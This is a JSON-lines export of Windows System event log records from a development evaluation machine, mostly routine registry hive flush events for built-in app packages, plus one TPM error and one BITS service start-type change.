{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:51.346431Z"}},"EventRecordID":2909,"Correlation":null,"Execution":{"#attributes":{"ProcessID":6252,"ThreadID":6244}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Service Control Manager","Guid":"{555908d1-a6d7-4695-8e1e-26931d2012f4}","EventSourceName":"Service Control Manager"}},"EventID":{"#attributes":{"Qualifiers":16384},"#text":7040},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:56.230484Z"}},"EventRecordID":2910,"Correlation":null,"Execution":{"#attributes":{"ProcessID":788,"ThreadID":3832}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"param1":"Background Intelligent Transfer Service","param2":"demand start","param3":"auto start","param4":"BITS"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:09.644669Z"}},"EventRecordID":2911,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":138,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SecHealthUI_1000.25992.9000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:09.713664Z"}},"EventRecordID":2912,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":98,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.SecHealthUI_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:14.455660Z"}},"EventRecordID":2913,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":134,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ECApp_10.0.22621.3085_neutral__8wekyb3d8bbwe\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:14.794814Z"}},"EventRecordID":2914,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":136,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.LockApp_10.0.22621.3235_neutral__cw5n1h2txyewy\\ActivationStore.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:18.398923Z"}},"EventRecordID":2915,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":94,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.LockApp_cw5n1h2txyewy\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:18.932256Z"}},"EventRecordID":2916,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":92,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.ECApp_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:19.327624Z"}},"EventRecordID":2917,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":107,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:19.725704Z"}},"EventRecordID":2918,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":96,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Clipchamp.Clipchamp_yxz26nhyzhsrt\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:20.923837Z"}},"EventRecordID":2919,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":100,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.549981C3F5F10_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:21.464825Z"}},"EventRecordID":2920,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":96,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.GamingApp_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:22.273320Z"}},"EventRecordID":2921,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":94,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.GetHelp_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:23.228338Z"}},"EventRecordID":2922,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":105,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:23.697911Z"}},"EventRecordID":2923,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":105,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:24.098088Z"}},"EventRecordID":2924,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":107,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:24.502027Z"}},"EventRecordID":2925,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":104,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.RawImageExtension_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:24.937414Z"}},"EventRecordID":2926,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":103,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:25.899331Z"}},"EventRecordID":2927,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":105,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:26.390335Z"}},"EventRecordID":2928,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":105,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WebpImageExtension_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:26.783122Z"}},"EventRecordID":2929,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":104,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:27.240559Z"}},"EventRecordID":2930,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":100,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:27.740706Z"}},"EventRecordID":2931,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":105,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:28.374151Z"}},"EventRecordID":2932,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":107,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:28.715070Z"}},"EventRecordID":2933,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":96,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:29.075597Z"}},"EventRecordID":2934,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":102,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:29.495176Z"}},"EventRecordID":2935,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":110,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:29.857700Z"}},"EventRecordID":2936,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":111,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:30.733990Z"}},"EventRecordID":2937,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":100,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:31.335396Z"}},"EventRecordID":2938,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":99,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.ScreenSketch_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:32.179732Z"}},"EventRecordID":2939,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":101,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WindowsNotepad_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:32.878272Z"}},"EventRecordID":2940,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":99,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":5,"DirtyPages":1}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:33.471788Z"}},"EventRecordID":2941,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3640,"ThreadID":4196}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"HiveNameLength":107,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\Settings\\settings.dat","KeysUpdated":3,"DirtyPages":1}}}
